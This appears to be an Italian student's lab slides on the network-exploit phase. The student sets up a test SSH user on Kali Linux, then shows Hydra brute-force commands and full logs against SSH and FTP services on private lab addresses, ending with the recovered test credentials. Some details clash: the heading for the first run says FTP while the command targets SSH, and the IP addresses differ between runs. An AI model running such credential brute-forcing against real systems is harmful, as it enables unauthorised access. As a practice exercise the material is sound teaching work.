RICCARDO AGOSTINO
MONTI

S 6 L 4

LA FASE DI EXPLOIT: GLI ATTACCHI ALLE RETI

RICCARDO AGOSTINO
MONTI

Setup Ambiente

Seguiamo la guida delle slide di pratica e creiamo un utente per il servizio ssh

RICCARDO AGOSTINO
MONTI

Inizializziamo il servizio ssh

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:tOSz+sIhj6fBO1tjkN53F8k+4/kvVZO243yJPcv4AaU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$
```

RICCARDO AGOSTINO
MONTI

Facciamo partire Hydra per il target ftp

```
┌──(kali㉿kali)-[/]
└─$ hydra -V -L username.txt -P passwordlist.txt 192.168.1.155 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiz

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:19:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:6/p:5), ~8 tries per task
[DATA] attacking ssh://192.168.1.155:22/
[ATTEMPT] target 192.168.1.155 - login "ciao" - pass "ciao" - 1 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "ciao" - pass "scemo" - 2 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "ciao" - pass "passworddifficile" - 3 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "ciao" - pass "hackme" - 4 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "ciao" - pass "kali" - 5 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "coso" - pass "ciao" - 6 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "coso" - pass "scemo" - 7 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "coso" - pass "passworddifficile" - 8 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "coso" - pass "hackme" - 9 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "coso" - pass "kali" - 10 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "admin" - pass "ciao" - 11 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "admin" - pass "scemo" - 12 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "admin" - pass "passworddifficile" - 13 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "admin" - pass "hackme" - 14 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "admin" - pass "kali" - 15 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "guest" - pass "ciao" - 16 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "guest" - pass "scemo" - 17 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "guest" - pass "passworddifficile" - 18 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "guest" - pass "hackme" - 19 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "guest" - pass "kali" - 20 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "scemochilegge" - pass "ciao" - 21 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "scemochilegge" - pass "scemo" - 22 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "scemochilegge" - pass "passworddifficile" - 23 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "scemochilegge" - pass "hackme" - 24 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "scemochilegge" - pass "kali" - 25 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "test_user" - pass "ciao" - 26 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.155 - login "test_user" - pass "scemo" - 27 of 30 [child 0] (0/0)
[ATTEMPT] target 192.168.1.155 - login "test_user" - pass "passworddifficile" - 28 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.155 - login "test_user" - pass "hackme" - 29 of 30 [child 1] (0/0)
[ATTEMPT] target 192.168.1.155 - login "test_user" - pass "kali" - 30 of 30 [child 3] (0/0)
[22][ssh] host: 192.168.1.155   login: test_user   password: kali
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 11:20:08
```

Facciamo la stessa cosa con il servizio ftp

```
┌──(kali㉿kali)-[/]
└─$ hydra -L username_list.txt -P password.txt ftp://192.168.178.98
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:10:
43
[DATA] max 16 tasks per 1 server, overall 16 tasks, 90 login tries (l:18/p:5), ~
6 tries per task
[DATA] attacking ftp://192.168.178.98:21/
[21][ftp] host: 192.168.178.98   login: test_user   password: testpass
^C[ERROR] Can not create restore file (./hydra.restore) - Permission denied
```